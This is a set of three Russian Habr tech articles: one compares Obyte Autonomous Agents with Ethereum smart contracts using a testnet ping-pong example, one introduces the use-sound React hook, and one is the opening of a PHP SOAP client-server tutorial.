Obyte — это открытая крипто платформа, использующая в качестве реестра транзакций Directed Acyclic Graph (DAG, направленный граф без циклов) вместо блокчейна, со свободным равным доступом к реестру для всех участников. DAG, в отличие от привычного всем блокчейна, даёт возможность отправлять данные в распределённый реестр напрямую без участия майнеров за счёт отказа от блоков и от строгой упорядоченности транзакций. По сравнению с блокчейнами, DAG архитектура не нуждается в привилегированных классах пользователей, таких как майнеры, форджеры или блокпродюсеры, поэтому в сети нет посредников между пользователем и реестром, и каждый имеет равный и прямой доступ на добавление транзакций в реестр.
В этой статье я бы хотел рассказать о Obyte, Автономных Агентах и сравнить всё это с Ethereum.
Что такое Автономные Агенты?
============================
Это программа, исходный код которой хранится в реестре (DAG) и имеющая собственный адрес, аналогичный адресам любых других участников сети. В программе описаны действия, которые будут выполнены в ответ на отправку монет и данных на этот адрес. Если вам знакомы смарт-контракты Ethereum, Автономные Агенты очень близки по смыслу с ними.
Пример из жизни – вендинговый автомат. В ответ на набранный на клавиатуре номер товара и внесение суммы, аппарат выдаёт пользователю сам товар. Есть одно важное отличие АА от вендинговых аппаратов: вендинговые машины контролируются их владельцами, а пользователи лишь надеются, что действия аппарата совпадут с ожиданиями пользователя. Автономные Агенты же по-настоящему автономны: вся программа хранится в DAG, её исходный код виден всем участникам сети, он не может быть изменён, отключён или удалён.
Например, вы можете запрограммировать АА для обмена токенов. Для программирования используется разработанный для этих задач язык — Oscript.
В Obyte также есть понятие смарт контрактов, но они не то же самое, что АА или смарт контракты Ethereum. Главное отличие АА от смарт контрактов Obyte в том, что смарт контракты, как и обычные контракты в реальном мире, действуют между двумя участниками и говорят, при каких условиях контракт может быть выполнен. Проще говоря, набор условий, разрешающих или запрещающих транзакцию. В то же время, автономный агент – это независимый запрограммированный участник, взаимодействуя с которым, мы инициируем его ответную реакцию (новые транзакции, etc.).
Выполнение кода АА начинается после того, как триггер-транзакция стабилизировалась (то есть наступил консенсус по транзакции и double spend точно отсутствует). Каждая full-нода будет исполнять код AA на своей копии реестра, и записывает результат исполнения только в свою базу. Нет необходимости ретранслировать результат исполнения другим нодам, т.к. состояние всех участником сети одинаково и результат исполнения тоже детерминирован и одинаков для всех. Финальное состояние реестра определено только правилами исполнения АА, и не контролируется ни майнерами, ни голосующими, ни кем другим.
Зачем они нужны?
================
АА позволяют в децентрализованном режиме создавать такие вещи как
* опционы
* фьючерсные контракты
* алгоритмически стабильные монеты
* синтетические активы
* другие деривативы
* залоговое кредитование
* маржинальная торговля
* децентрализованные биржи
* децентрализованные оракулы
* платежные каналы
* экономические игры
* маркетмейкеров
* автоматическое управление инвестиционным портфелем
И многое другое…
Прозрачность для пользователя
=============================
Obyte с первого дня существования предоставляет возможность заключить смарт-контракт между людьми, в форме, понятной человеку. Прозрачность и лёгкость восприятия пользователями были и остаются одними из главных принципов при создании платформы.
Несмотря на тот факт, что Oscript – язык программирования, и создан для восприятия машиной и программистами, а не обычными людьми, мы старались не отходить от наших принципов. Поэтому для людей, не знакомых с программированием, GUI кошелёк попытается до совершения транзакции интерпретировать код АА и показать человеку результат в понятной ему форме:
Oscript — язык автономных агентов
=================================
У разработчиков, знакомых с любым C подобным языком, не возникнет трудностей при работе с АА.
Сначала хотелось бы разобрать особенности.
AA срабатывает только на инициирующие транзакции. Это может быть или просто платёж, или передача данных АА. Например, вы передаёте данные *{foo: ‘bar’, value: 100}* и они будут получены АА как *input*, и на основе этого выполнены действия.
### К чему есть доступ у АА
* к любым переменным, описывающим текущее состояние DAG
* суммы, полученные в trigger транзакции
* данные из trigger транзакции
* кто отправил trigger транзакцию
* переменные состояний нашего и других АА
* доступ к различным публичным данным из DAG, таким как data\_feed от ораклов, real name attestations, etc.
* балансы нашего и других АА
* информация об активах ([asset](https://wiki.obyte.org/Asset))
### Возможности Oscript
Oscript — НЕ Тьюринг полный язык, тем не менее, в его арсенале имеются:
* арифметические операции
* логические операции (и, или и т.д.)
* сравнения
* конкатенация строк
* некоторые математические функции
* криптографические функции (создание hash, проверка подписей)
* ветвления (if/else)
* нет циклов и функций (для предотвращения бесконечных рекурсий). Более подробно можно узнать в справочнике по [этой ссылке](https://developer.obyte.org/autonomous-agents/oscript-language-reference)
Для контроля использования ресурсов и предотвращения вредоносных сценариев, АА ограничены максимумом в 100 трудоёмких операций, таких как крипто-функции или доступы к базе данных. Проверка происходит в момент деплоя кода Агента.
Зато нет никаких сложных формул для вычисления стоимости исполнения АА. Таких формул вообще нет, исполнение кода является бесплатным, пользователи, как и сам АА, платят только за добавление данных в реестр DAG, как и любые другие участники сети – 1 byte в валюте Obyte на каждый байт данных, добавленных в DAG. Однако АА должен поддерживать свой баланс в байтах не меньше, чем размер всех хранимых им переменных состояния.
Если же АА при исполнении триггерит выполнение другого АА, то сначала результирующая транзакция первого АА будет записана в реестр, и только потом начнётся выполнение следующего АА.
Автономные агенты в действии
============================
Теперь мы напишем простейший ping-pong сценарий. Мы отправляем AA деньги, он оставляет какую-то сумму себе и отправляет остальное назад. Мы решим одну и ту же задачу на двух платформах — **Obyte** и **Ethereum,** и сравним. В Ethereum аналогичные AA сущности обычно называются смарт контрактами (хотя Ethereum white paper один раз называет их автономными агентами).
### Ethereum
Я всё буду делать через *geth.* Запустим ноду в *light* режиме и дождёмся синхронизации.
```
geth --testnet --ws --wsapi "admin,db,eth,net,web3,personal" --syncmode "light" --allow-insecure-unlock
```
Теперь у нас два варианта развития событий:
1. дождаться пока пиры будут обнаружены, и начнётся синхронизация
2. добавить пиров вручную
Я выбрал второй вариант. И в этом на помощь приходит [rfikki](https://gist.github.com/rfikki) и его [готовый список](https://gist.github.com/rfikki/a83be7f0e12d03c21a08e217164341a5) команд. Подключаемся к ноде и добавляем пиров:
```
geth attach ws://127.0.0.1:8546
admin.addPeer("enode://bc827e035cf3a42c249374be7ddc9c2fb819765c440116cf01aa6a8d70d03043d29ccd42b32a283f5ab08294467eb3b92fc40111e9af1770c84bc116edae89c0@104.248.199.52:30303");
admin.addPeer("enode://2d86877fbb2fcc3c27a4fa14fa8c5041ba711ce9682c38a95786c4c948f8e0420c7676316a18fc742154aa1df79cfaf6c59536bd61a9e63c6cc4b0e0b7ef7ec4@13.83.92.81:30303");
admin.addPeer("enode://053d2f57829e5785d10697fa6c5333e4d98cc564dbadd87805fd4fedeb09cbcb642306e3a73bd4191b27f821fb442fcf964317d6a520b29651e7dd09d1beb0ec@79.98.29.154:30303");
admin.addPeer("enode://690c93ac2f6e6f711a175cc6a73a3cf3b649eea83c458ce34364c69d1b557bb408693f06bdf6fc31538a744d5c231fdd904cce5665d04ce165032c0fc009a208@104.248.199.160:30303");
```
После чего начнётся процесс синхронизации, и, чтобы не терять время, создадим аккаунт. Для этого в нашем подключении напишем следующие команды и установим пароль:
```
personal.newAccount();
```
В консоли мы увидим адрес, скопируем его и перейдём на [faucet](https://faucet.ropsten.be/). Вставляем в поле и жмём отправить.
Теперь проверим синхронизацию:
```
eth.syncing # должно быть false
eth.blockNumber # должен быть равен номеру самого верхнего блока https://ropsten.etherscan.io/
```
И проверим баланс:
```
eth.getBalance(eth.accounts[0]) # будет равен 1000000000000000000
```
Подготовка закончена и теперь можем перейти к написанию и публикации контракта.
Создадим файл, например pingPong.sol и напишем в него наш контракт:
```
pragma solidity ^0.5.10;
contract PingPong{
function deposit() payable public {
msg.sender.transfer(msg.value - 20000);
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
}
```
В данном контракте мы создаём две публичные функции:
*deposit* — вызываем пополнением и возвращаем за вычетом 20000.
*getBalance* — просто показывает нам баланс адреса контракта.
Далее нам его нужно скомпилировать, для этого я использую [npm модуль solc](https://www.npmjs.com/package/solc):
```
solcjs -o . --bin --abi pingPong.sol
```
Теперь подготовим скомпилированные файлы к быстрой загрузке в *geth* клиенте. Изменим *abi* файл до вида
```
var pingPongContract = eth.contract([{"constant":true,"inputs":[],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"}]);
```
И *bin* до вида
```
personal.unlockAccount(eth.accounts[0])
var pingPong = pingPongContract.new(
{ from: eth.accounts[0],
data:
"0x608060405234801561001057600080fd5b5060fb8061001f6000396000f3fe60806040526004361060265760003560e01c806312065fe014602b578063d0e30db0146053575b600080fd5b348015603657600080fd5b50603d605b565b6040518082815260200191505060405180910390f35b6059607a565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b3373ffffffffffffffffffffffffffffffffffffffff166108fc614e2034039081150290604051600060405180830381858888f1935050505015801560c3573d6000803e3d6000fd5b5056fea265627a7a723058207e0b24d2e575e02b188c16b22c5849ff30ecbd61dbdd0eabae34c43ba1522c6064736f6c634300050a0032",
gas: 500000});
```
Переходим в клиент *geth* и подключаем эти скрипты
```
loadScript('sol2/pingPong_sol_PingPong.abi')
loadScript('sol2/pingPong_sol_PingPong.bin')
```
Где *sol2* — путь до вашей папки со скриптами. После выполнения второго скрипта, он попросит разблокировать аккаунт. Готово.
Далее пишем `pingPong`. Если в результате вы видите, что адрес не пустой — контракт опубликовался, если нет — нужно немного подождать и попробовать ещё раз.
После этого мы выполним функцию *deposit*, отправив деньги, и проверим как всё прошло.
```
personal.unlockAccount(eth.accounts[0])
pingPong.deposit({from: eth.accounts[0], value: 500000});
```
На выходе мы можем увидеть id транзакции. Скопируйте его, он нам понадобится позже. Перед этим вызовем функцию *getBalance* и увидим там 20000, которые мы вычитаем.
```
pingPong.getBalance()
```
Теперь перейдём на etherscan. Там будет видно в «Internal Transactions» обратный платёж на 48.000. У меня получилось так — <https://ropsten.etherscan.io/tx/0xc3fab9f39f2ec32eadffc54608a61c3c77c4ac0f3630037b5c312d3b66ee85f8#internal>
### Obyte
Для публикации мы будем использовать [Oscript editor](https://testnet.oscript.org/)
Очистите шаблон, который он нам предлагает. Мы будет писать с нуля. Минимальный АА – это объект с массивом messages.
```
{
messages: []
}
```
Так как мы будем отправлять платёж, нам нужно добавить в сообщения объект с указывающими на это свойствами:
```
{
messages: [
{
app: 'payment',
payload: {
asset: 'base',
outputs: [
{address: "{trigger.address}", amount: "{trigger.output[[asset=base]] - 20000}"}
]
}
}
]
}
```
Здесь мы видим стандартные метаданные для платежа. Изменяются они с помощью "{}" в строках. Для передачи значений используется объект *trigger*, он хранит в себе информацию о полученном платеже. Более подробно познакомиться с синтаксисом можно [в документации](https://developer.obyte.org/autonomous-agents).
Вставляем этот код в редактор и после чего нажимаем Deploy. **Всё!**
АА опубликован и снизу мы видим адрес. Теперь нам понадобится [testnet GUI кошелек](https://obyte.org/testnet.html), установим его и запустим. Далее, чтобы получить немного тестовых монет, переходим в «чат», там выбираем «Bot Store» и добавляем «Faucet Bot». У нас откроется чат, жмём меню слева и выбираем «Вставить мой адрес»
После чего отправляем и ждём сообщения что деньги нам пришли «Payment: ...». Далее нам необходимо перейти на главную и дождаться, пока не исчезнет надпись «Включая ожидающие подтверждения» (несколько минут), это означает, что полученные монеты подтверждены, и ими можно пользоваться.
Всё, что нам остаётся, – это перейти в «получить», вставить адрес АА, вписать сумму «500000» и нажать «отправить». Теперь нам необходимо подождать, пока транзакция стабилизируется (проверяя историю). Это нужно, чтобы сработал trigger. Проверим, пришли ли нам обратно деньги:
Вот и всё, всё работает. Перейдя в explorer по [адресу АА](https://testnetexplorer.obyte.org/#W33CALYFTYA72N4EOGOD7AK5ZNFFNSAI) мы можем увидеть, что его баланс увеличился на 20000 минус комиссия за платёж нам. В Obyte Автономные Агенты сами платят комиссию за совершаемые ими действия.
Выводы
------
Как мы можем увидеть из сравнения выше, у Obyte гораздо проще публикация, написание и контроль того, что произойдёт. Например, в Ethereum далеко не всегда мы можем правильно подобрать gas исходящей транзакции, из-за чего она может подтверждаться очень долго. Из преимуществ Ethereum можно выделить его быструю публикацию и подтверждение (около одной минуты, зависит от выставленного газа). В то время как в Obyte публикация происходит сразу, а время подтверждения зависит от нагрузки сети, при слабой нагрузке – около 10-15 минут, при большой – менее трёх минут.
В следующих статьях мы разберём несколько интересных и живых примеров, например как можно c помощью AA реализовать simple DAO и ответим на ваши вопросы.
Конкурс
-------
В связи с нововведением, приглашаем разработчиков присоединиться к участию в конкурсе на самое интересное и впечатляющее применение Автономных Агентов. Конкурс уже идёт и продлится до середины октября. В качестве примеров из уже полученных заявок есть несколько краудфандинговых АА, две биржи, разнообразные «реестры» и трекеры репутаций, лотереи, игры и т.д. Каждые две недели жюри из членов команды Obyte объявляют лучшие заявки.
Общий бюджет конкурса – **$38,000** (по курсу **GB** на момент старта).
Более подробно о конкурсе можно прочитать [в этой статье](https://medium.com/obyte/obyte-autonomous-agents-developer-contest-6a67ae3dacd2). | https://habr.com/ru/post/467209/ | null | ru | null |
# Пакет use-sound: звуковые эффекты в React-приложениях
Может, дело в том, что я профессионально занимался звуком, но мне хочется, чтобы веб был бы громче.
Знаю, многие меня в этом желании не поддержат. И не без причины! Исторически сложилось так, что звуки в интернете использовались крайне неудачно и некрасиво:
* В ранние дни веба некоторые страницы проигрывали фоновую MIDI-музыку.
* Всплывающие мошеннические окна используют звуки для достижения своих нехороших целей. Они, с помощью звуков, стремятся привлечь внимание пользователей и сделать обман более правдоподобным.
* Звук присутствует и в автоматически запускающихся видео (ну это совсем кошмар).
Правда, я уверен в том, что совсем отказываясь от звука — это как если вместе с водой выплеснуть и ребёнка. Звуки могут делать акценты на действиях пользователя, они способны усиливать обратную связь. Звук может немного скрасить выполнение неких скучных действий. Если звуки на веб-страницах применяют со вкусом, они способны улучшить впечатления пользователя от проекта, сделав его более «осязаемым» и реальным.
[](https://habr.com/ru/company/ruvds/blog/495896/)
Эта идея не нова: в играх и в мобильных приложениях звуки используются постоянно. На самом деле, веб — это странное исключение из общей тенденции. Большая часть цифровых продуктов, мысли о которых приходят мне в голову, использует звуки. Я уже не говорю о тактильном отклике, который используется в мобильных приложениях для того чтобы приблизить их к реальности.
Мне, в ходе работы над моим блогом, захотелось поэкспериментировать со звуком. Многие элементы интерфейса моего блога, с которыми взаимодействуют пользователи, воспроизводят тихие короткие звуки. Например, в правой верхней части домашней [страницы](https://joshwcomeau.com) блога имеется пара кнопок для переключения темы и для включения и выключения звука.
Так как звуки в веб используются крайне редко, их применение может оказать большое влияние на восприятие сайта пользователями. Это — нечто вроде секретного оружия разработчика, применение которого способно привести к удивительно большому позитивному влиянию на определённые проекты.
Для того чтобы упростить использование звуков, я оформил применяемый мной для работы со звуками хук в виде самостоятельного [npm-пакета](https://www.npmjs.com/package/use-sound) `use-sound` и опубликовал его. Здесь я расскажу о возможностях этого хука и поделюсь советами по использованию звука в веб.
Если вам не терпится увидеть код и приступить к использованию этого хука — [вот](https://github.com/joshwcomeau/use-sound) его GitHub-репозиторий.
Обзор
-----
Пакет `use-sound` представляет собой React-хук, который помогает разработчикам пользоваться звуковыми эффектами. Вот пример:
```
import useSound from 'use-sound';
import boopSfx from '../../sounds/boop.mp3';
const BoopButton = () => {
const [play] = useSound(boopSfx);
return Boop!;
};
```
Использование этого хука добавляет примерно 1 Кб к сборке проекта. Правда, он, в асинхронном режиме загружает стороннюю зависимость [Howler](https://howlerjs.com/), размер которой составляет 10 Кб.
Хук даёт разработчику множество приятных возможностей. Среди них хочу отметить следующие:
* Досрочная остановка проигрывания, а также — приостановка и продолжение воспроизведения.
* Загрузка чего-то вроде звукового «спрайт-листа» и разделение его на отдельные звуки.
* Настройка скорости воспроизведения с возможностью ускорять и замедлять воспроизведение звуков.
* Множество прослушивателей событий.
* Много дополнительных продвинутых возможностей, доступных благодаря Howler.
[Вот](https://github.com/joshwcomeau/use-sound) документация по хуку, в которой можно найти подробное руководство по его использованию и справочник по API.
Основы работы с use-sound
-------------------------
### ▍Установка
Сначала надо установить пакет, пользуясь yarn или npm:
```
# Используем yarn
yarn add use-sound
# или NPM
npm install use-sound
```
### ▍Импорт
Пакет `use-sound` экспортирует единственное значение по умолчанию — это хук `useSound`. Импортировать его можно так:
```
import useSound from 'use-sound';
```
Кроме того, нужно будет импортировать аудиофайлы, которые планируется использовать.
Если вы, при работе над React-проектами, пользуетесь чем-то вроде `create-react-app` или Gatsby — то у вас должна быть возможность импортировать MP3-файлы так же, как вы импортируете другие ресурсы — вроде изображений:
```
import boopSfx from '../../sounds/boop.mp3';
```
Если вы пользуетесь самописной Webpack-конфигурацией, то вам, для обработки .mp3-файлов, понадобится воспользоваться загрузчиком [file-loader](https://webpack.js.org/loaders/file-loader/).
Кроме того, можно работать и со звуковыми файлами, помещёнными в папки `public` или `static`. Например, демонстрационные примеры, приведённые в этом материале, используют статические файлы, размещённые в общедоступной папке.
Поиск и подготовка звуков
-------------------------
Установка зависимостей и написание кода — это лишь полдела. Для озвучивания страниц нам понадобится подобрать подходящие звуки.
Мой любимый ресурс, на котором можно искать звуки — это [freesound.org](https://freesound.org/). Почти все звуки, используемые в моём блоге, я нашёл именно там. Там имеется множество звуков с лицензией [Creative Commons Zero](https://creativecommons.org/publicdomain/zero/1.0/deed). Для загрузки файлов нужно зарегистрироваться на ресурсе. Пользоваться звуками можно бесплатно.
Будьте готовы к тому, что для подбора подходящего звука вам придётся серьёзно порыться в содержимом freesound.org. Дело тут в том, например, что многие звуки отличаются низким качеством. Процесс поиска подходящего звука можно сравнить с процессом поиска иголки в стоге сена. А подготовка найденного звука к реальному использованию напоминает огранку неогранённого алмаза.
### ▍Подготовка звуков
Многие звуки, взятые с freesound.org, нуждаются в некоторых улучшениях:
* Звуки, как и строки, могут быть обрамлены пустым пространством. Фрагменты тишины обычно вырезают, в результате соответствующий звуковой эффект воспроизводится сразу после возникновения озвучиваемого события.
* При подготовке звуков может понадобиться настроить их громкость, сделав её такой, чтобы все звуки, используемые в одном проекте, имели бы одинаковую громкость.
* На freesound.org имеются звуки, хранящиеся в различных аудиоформатах. Вам, вполне возможно, понадобится преобразовать понравившиеся вам звуки в MP3.
Для выполнения всех этих правок можно воспользоваться Audacity. Это — бесплатный опенсорсный кросс-платформенный аудиоредактор. Здесь я не буду рассказывать о том, как пользоваться этим редактором, но существует множество замечательных руководств по нему.
Почему я говорю о преобразовании звуков в формат MP3? Дело в том, что раньше не существовало аудио-формата, поддерживаемого всеми браузерами. Поэтому обычным делом было включение в состав проектов MP3, AIFF и WAV-файлов и использование их в окружениях, которые их поддерживают.
В современных же условиях, к счастью для нас, формат MP3 поддерживается всеми основными браузерами, включая IE 9. Звук, хранящийся в формате MP3, кроме того, очень хорошо сжат. А это позволяет выходить на файлы гораздо меньших размеров, чем при использовании альтернативных форматов, кодирующих звук без потери качества.
Звук и доступность
------------------
Несмотря на то, что я выступаю за использование звуков в вебе, я признаю, что не всем пользователям это понравится. И речь тут идёт о соображениях, выходящих за рамки субъективного стремления к тишине.
Люди, которые имеют проблемы со зрением, используют для работы с веб-страницами средства для чтения с экрана. Причём, речь идёт не только о тех, кто не видит страниц. Средствами для чтения с экрана, например, пользуются люди с дислексией, которым тяжело воспринимать текст, и люди с другими подобными проблемами. Средства для чтения с экрана — это программы, которые разбирают документы и озвучивают тексты. Если некий сайт содержит массу звуковых эффектов, они могут помешать нормальной работе программ, читающих текст с экрана. А это, в свою очередь, помешает работать с сайтом людям, полагающимся на такие программы.
По этой причине важно, чтобы в состав страниц сайта была бы включена кнопка для включения и выключения звука. При этом такая кнопка должна быть доступна для клавиатурной навигации (с использованием клавиши Tab). В идеале, до того момента, когда пользователь доберётся до такой кнопки с использованием клавиши Tab, не должно воспроизводиться никаких звуков. Кроме того, надо, чтобы веб-проект [запоминал](https://joshwcomeau.com/react/persisting-react-state-in-localstorage/) бы состояние этой кнопки — так пользователю не придётся постоянно прибегать к ней для отключения звука.
С другой стороны, слабослышащие пользователи не будут и знать о том, что некие взаимодействия со страницами сопровождаются звуком. То же относится и к людям, которые работают в интернете с выключенным звуком. По этой причине важно не полагаться исключительно на звук при выполнении неких важных действий. Если звук используется в качестве подтверждения какого-то действия пользователя — сделайте так, чтобы на странице выводилось бы и визуальное подтверждение этого действия. Сайты должны оставаться полностью работоспособными и без звуков.
Рецепты
-------
Взглянем на несколько примеров (в соответствующем [разделе](https://joshwcomeau.com/react/announcing-use-sound-react-hook/#recipes) оригинала этой статьи с ними можно поэкспериментировать в интерактивном режиме и послушать звуки, издаваемые разными элементами управления).
### ▍Флажок
Мне страшно нравится этот флажок. Если вы пользуетесь мышью, попробуйте сначала щёлкнуть по нему очень быстро, а потом — так, чтобы между моментами нажатия и отпускания кнопки мыши была бы небольшая пауза.
```
function Demo() {
const [isChecked, setIsChecked] = React.useState(
false
);
const [playActive] = useSound(
'/sounds/pop-down.mp3',
{ volume: 0.25 }
);
const [playOn] = useSound(
'/sounds/pop-up-on.mp3',
{ volume: 0.25 }
);
const [playOff] = useSound(
'/sounds/pop-up-off.mp3',
{ volume: 0.25 }
);
return (
setIsChecked(!isChecked)}
onMouseDown={playActive}
onMouseUp={() => {
isChecked ? playOff() : playOn();
}}
/>
);
}
```
### ▍Досрочное прерывание воспроизведения звука
Иногда нужно, чтобы звук играл бы только тогда, когда пользователь взаимодействует с неким элементом управления. Обратите внимание на то, как в следующем примере сделано так, чтобы звук воспроизводился лишь тогда, когда указатель находится над элементом управления.
```
function Demo() {
// Попробуйте, ради интереса, поменять 'rising-pops' на:
// - fanfare
// - dun-dun-dun
// - guitar-loop
const soundUrl = '/sounds/rising-pops.mp3';
const [play, { stop }] = useSound(
soundUrl,
{ volume: 0.5 }
);
const [isHovering, setIsHovering] = React.useState(
false
);
return (
{
setIsHovering(true);
play();
}}
onMouseLeave={() => {
setIsHovering(false);
stop();
}}
>
Hover over me!
);
}
```
### ▍Повышение высоты звука
А вот — пример одного интересного эффекта. Он заключается в том, что звук, воспроизводимый при очередном щелчке по кнопке Like, выше звука, воспроизводимого при предыдущем щелчке по ней:
```
function Demo() {
const soundUrl = '/sounds/glug-a.mp3';
const [playbackRate, setPlaybackRate] = React.useState(0.75);
const [play] = useSound(soundUrl, {
playbackRate,
volume: 0.5,
});
const handleClick = () => {
setPlaybackRate(playbackRate + 0.1);
play();
};
return (
);
}
```
### ▍Кнопка запуска и приостановки воспроизведения
Вот код реализации кнопки для запуска и приостановки воспроизведения звука, которая поможет вам в разработке нового Spotify:
```
function Demo() {
const soundUrl = '/sounds/guitar-loop.mp3';
const [play, { stop, isPlaying }] = useSound(soundUrl);
return (
);
}
```
### ▍Звуковые «спрайт-листы»
Если вы планируете использовать в своём React-компоненте очень много звуков, то может иметь смысл использование звуковых «спрайт-листов». Звуковой «спрайт-лист» — это файл, в котором содержится множество различных звуков. Упаковывая их в один файл, мы повышаем удобство работы с ними и избегаем выполнения множества параллельных HTTP-запросов для загрузки отдельных файлов (хочется надеяться, что когда-нибудь мы сможем пользоваться HTTP/2-мультиплексированием).
Тут мы используем звуковой «спрайт-лист» для создания драм-машины. Поиграть на виртуальных барабанах можно либо с помощью мыши, либо — с помощью клавиш 1-4 на клавиатуре.
```
function Demo() {
const soundUrl = '/sounds/909-drums.mp3';
const [play] = useSound(soundUrl, {
sprite: {
kick: [0, 350],
hihat: [374, 160],
snare: [666, 290],
cowbell: [968, 200],
}
});
// Пользовательский хук, прослушивающий событие 'keydown',
// и вызывающий подходящий обработчик.
useKeyboardBindings({
1: () => play({ id: 'kick' }),
2: () => play({ id: 'hihat' }),
3: () => play({ id: 'snare' }),
4: () => play({ id: 'cowbell' }),
})
return (
<>
play({ id: 'kick' })}
>
1
play({ id: 'hihat' })}
>
2
play({ id: 'snare' })}
>
3
play({ id: 'cowbell' })}
>
4
);
}
```
Подробности о применении звуковых «спрайт-листов» в пакете `use-sound` можно почитать [здесь](https://github.com/joshwcomeau/use-sound#sprites).
Итоги
-----
В сфере использования звуков при разработке веб-сайтов меня больше всего будоражит то, что это — область, которая исследована очень слабо. Я уже довольно давно экспериментирую со звуками, но всё ещё чувствую, что нахожусь лишь в самом начале пути.
Итак, теперь в вашем распоряжении есть инструменты, используя которые вы можете приступить к собственным экспериментам со звуком. Предлагаю вам этим заняться и узнать о том, куда это вас приведёт.
**Уважаемые читатели!** Как вы относитесь к применению звуков на веб-страницах?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/495896/ | null | ru | null |
# Пишем SOAP клиент-серверное приложение на PHP
Всем привет!
Так случилось, что в последнее время я стал заниматься разработкой веб-сервисов. Но сегодня топик не обо мне, а о том, как нам написать свой XML Web Service основанный на протоколе SOAP 1.2.
Я надеюсь, что после прочтения топика вы сможете самостоятельно:
* написать свою собственную серверную реализацию веб-приложения;
* написать свою собственную клиентскую реализацию веб-приложения;
* написать свое собственное описание веб-сервиса (WSDL);
* отправлять клиентом массивы однотипных данных на сервер.
Как вы могли догадаться, вся магия будет твориться с использованием PHP и встроенных классов SoapClient и SoapServer. В качестве кролика у нас будет выступать сервис по отправке sms-сообщений.
1 Постановка задачи
-------------------
### 1.1 Границы
В начале предлагаю разобраться с тем результатом, которого мы достигнем в конце топика. Как было объявлено выше, мы будем писать сервис по отправке sms-сообщений, а если еще точнее, то к нам будут поступать сообщения из разных источников по протоколу SOAP. После чего, мы рассматрим в каком виде они приходят на сервер. Сам процесс постановки сообщений в очередь для их дальнейшей отправки провайдеру, к сожалению, выходит за рамки данного поста по многим причинам.
### 1.2 Какими данными будем меняться?
Отлично, с границами мы определились! Следующий шаг, который необходимо сделать – решить какими данными мы будем обмениваться между сервером и клиентом. На эту тему предлагаю долго не мудрить и сразу для себя ответить на главные вопросы:
* Какой минимум данных надо посылать на сервер, чтобы отправить sms-сообщение абоненту?
* Какой минимум данных надо посылать с сервера, чтобы удовлетворить потребности клиента?
Что-то мне подсказывает, что для этого необходимо посылать следующее:
* номер мобильного телефона, а также
* текст sms-сообщения.
В принципе, двух этих характеристик достаточно для отправки, но мне сразу представляется случай, как sms-ка с поздравлением о дне рождения приходит вам в 3 часа утра, или 4! В этот момент я буду всем очень благодарен за то, что про меня не забыли! Поэтому, мы также будем посылать на сервер и
* дату отправки sms-сообщения.
Следующее, что я бы хотел отправлять на сервер, так это
* Тип сообщения.
Данный параметр не является обязательным, но он может нам очень сильно пригодиться в случае, если быстро понадобится сказать боссу о том, скольких из наших клиентов мы «обрадовали» своим известием, а также нарисовать какую-нибудь красивую статистику на этот счет.
И все же, я что-то забыл! Если еще немного порефлексировать, то стоит отметить, что клиент за раз может отправить на сервер как одно sms-сообщение, так и некоторое их количество. Другими словами, в одном пакете данных может быть от одного до бесконечности сообщений.
В результате мы получаем, что для отправки sms-сообщения нам необходимы следующие данные:
* номер мобильного телефона,
* текст sms-сообщения,
* время отправки sms-сообщения абоненту,
* тип сообщения.
На первый вопрос мы ответили, теперь необходимо ответить на второй вопрос. И пожалуй, я позволю себе немного с халтурить. Поэтому, с сервера мы будем присылать только булевы данные, значение которых имеет следующий смысл:
* TRUE – пакет успешно дошел до сервера, прошел аутентификацию и встал в очередь для отправки sms-провайдеру
* FALSE – во всех остальных случаях
На этом мы закончили описание постановки задачи! И наконец-то приступим к самому интересному – будем разбираться что за диковинный зверь этот SOAP!
2 С чем есть SOAP?
------------------
Вообще, изначально я не планировал ничего писать о том, что такое SOAP и хотел ограничиться ссылками на сайт w3.org с нужными спецификациями, а также ссылками на Wikipedia. Но в самом конце решил написать коротенькую справочку об этом протоколе.
И начну я свое повествование с того, что данный протокол обмена данными относится к подмножеству протоколов основанных на так называемой парадигме RPC (Remote Procedure Call, удалённый вызов процедур) антиподом которой является REST (Representational State Transfer, передача репрезентативного состояния). Более подробно об этом можно прочесть в Wikipedia, ссылки на статьи находятся в самом конце топика. Из этих статей нам надо уяснить следующее: «Подход RPC позволяет использовать небольшое количество сетевых ресурсов с большим количеством методов и сложным протоколом. При подходе REST количество методов и сложность протокола строго ограничены, из-за чего количество отдельных ресурсов может быть большим». Т.е., применительно к нам это означает, что на сайте в случае RPC подхода будет всегда один вход (ссылка) на сервис и какую процедуру вызывать для обработки поступающих данных мы передаем вместе с данными, в то время как при REST подходе на нашем сайте есть много входов (ссылок), каждая из которых принимает и обрабатывает только определенные данные. Если кто-то из читающих знает, как еще проще объяснить различие в данных подходах, то обязательно пишите в комментариях!
Следующее, что нам надо узнать про SOAP – данный протокол в качестве транспорта использует тот самый XML, что с одной стороны очень хорошо, т.к. сразу же в наш арсенал попадает вся мощь стека технологий основанных на данном языке разметки, а именно XML-Schema – язык описания структуры XML-документа (спасибо Wikipedia!), который позволяет производит автоматическую валидацию поступающих на сервер данных от клиентов.
И так, теперь мы знаем, что SOAP – протокол используемый для реализации удаленного вызова процедур и в качестве транспорта он использует XML! Если почитать статью на Wikipedia, то оттуда можно узнать еще и о том, что он может использоваться поверх любого протокола прикладного уровня, а не только в паре с HTTP (к сожалению, в данном топике мы будем рассматривать только SOAP поверх HTTP). И знаете, что мне во всем этом больше всего нравится? Если нет никаких догадок, то я дам подсказку – SOAP!… Всеравно не появилось догадок?… Вы точно прочли статью на Wikipedia?… В общем, не буду вас дальше мучить. Поэтому, сразу перейду к ответу: «SOAP (от англ. Simple Object Access Protocol — простой *протокол* доступа к объектам; *вплоть до спецификации 1.2*)». Самое примечательное в этой строчке выделено курсивом! Я не знаю какие выводы сделали вы из всего этого, но мне видится следующее – поскольку данный протокол ну никак нельзя назвать «простым» (и видимо с этим согласны даже в w3), то с версии 1.2 он вообще перестал как-то расшифровываться! И стал называться SOAP, просто SOAP и точка.
